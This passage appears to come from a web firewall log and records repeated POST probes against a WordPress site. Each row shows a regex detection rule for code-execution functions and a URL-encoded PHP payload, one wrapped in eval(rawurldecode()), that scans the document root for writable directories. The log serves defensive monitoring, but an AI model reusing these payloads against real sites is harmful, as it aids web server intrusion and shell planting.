%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:18:21","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> ii:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3339\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nii=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:18:44","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> eE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3339\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\neE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:19:00","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> zE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3339\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nzE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:19:09","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 